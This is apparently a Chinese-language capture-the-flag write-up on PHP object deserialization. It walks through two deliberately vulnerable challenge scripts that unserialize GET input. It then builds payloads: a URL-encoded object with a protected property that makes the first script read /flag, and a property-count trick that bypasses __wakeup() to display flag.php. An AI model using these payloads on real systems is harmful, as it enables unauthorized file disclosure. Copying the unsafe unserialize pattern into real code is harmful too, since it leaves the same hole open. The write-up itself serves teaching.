目录
简单php反序列化
通过传输序列化,调用destruct()函数
<?php
highlight_file(__FILE__);
class AA
{
public $name;
protected $power;
public function __destruct()
{
if($this->name === "Aryb1n")
{
echo "AA is Aryb1n";
if($this->power > 100000)
{
echo "AA is powerful";
echo file_get_contents("/flag");
}
else
{
echo "AA is not so weak";
}
}
else
{
echo "who is AA?";
}
}
}
// maybe you should consider URL encode?
$aa = $_GET["aa"];
unserialize($aa);
首先进行代码审计
创建一个class类,进行一个变量的定义
class AA
{
public $name;
protected $power;
}
两种访问模式,一种public,一种protected
在反序列化的题目中,public的访问模式可以正常生成序列化的字符
O:2:"AA":2:{s:4:"name";s:6:"Aryb1n";s:5:"power";s:7:"1000000";}
但如果是protected的访问模式,则存在字符的补全
O:2:"AA":2:{s:4:"name";s:6:"Aryb1n";s:8:"*power";s:7:"1000000";}
我们将power变量设置为protected的访问模式,字符的个数出现了异常,原本为5个,变成了8个,如果进行此序列化的传输则会出现错误
此时我们需要更改传输的形式,进行url编码,再次进行传输
再次分析_destruct()魔法函数
public function __destruct()
{
if($this->name === "Aryb1n")
{
echo "AA is Aryb1n";
if($this->power > 100000)
{
echo "AA is powerful";
echo file_get_contents("/flag");
}
else
{
echo "AA is not so weak";
}
}
else
{
echo "who is AA?";
}
}
_destruct()函数在进行序列化的传输时,会触发此函数,执行函数内的代码
定义的两个变量name=Aryb1n,并且power>100000,则会显示/flag
$aa = $_GET["aa"];
unserialize($aa);
get传参一个aa,将aa变量进行反序列化传输,即传入正常的字符,那就需要我们进行序列化的传输,并进行url编码
<?php
highlight_file(__FILE__);
class AA
{
public $name = "Aryb1n";
protected $power = "1000000";
}
$a = new AA();
echo urlencode(serialize($a));
?>
//O%3A2%3A%22AA%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Aryb1n%22%3Bs%3A8%3A%22%00%2A%00power%22%3Bs%3A7%3A%221000000%22%3B%7D
通过调用destruct()函数显示flag.php文件,同时绕过wakeup()函数
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}}
function __wakeup(){ $this-> file='index.php'; }
public function __toString(){return '' ;}}
if (!isset($_GET['file'])){ show_source('index.php'); }
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file ); }
?> #<!--key in flag.php-->
首先分析代码,主要包括两个魔法函数
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}}
在此函数中,主要作用为显示我们传输file的源码
function __wakeup(){ $this-> file='index.php'; }
在此函数中,就是将我们传输的file变为index.php
public function __toString(){return '' ;
if (!isset($_GET['file'])){ show_source('index.php'); }
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file ); }
如果可以绕过wakeup()函数,那么将我们传输的序列化数据进行base64加密,再经过反序列化传入
首先考虑如何绕过wakeup()函数
当序列化的字符中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
构造payload
O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
//第一个S为大写,这样才可以16进制解析后面的字符,将\00解析为占位符
最后进行base64加密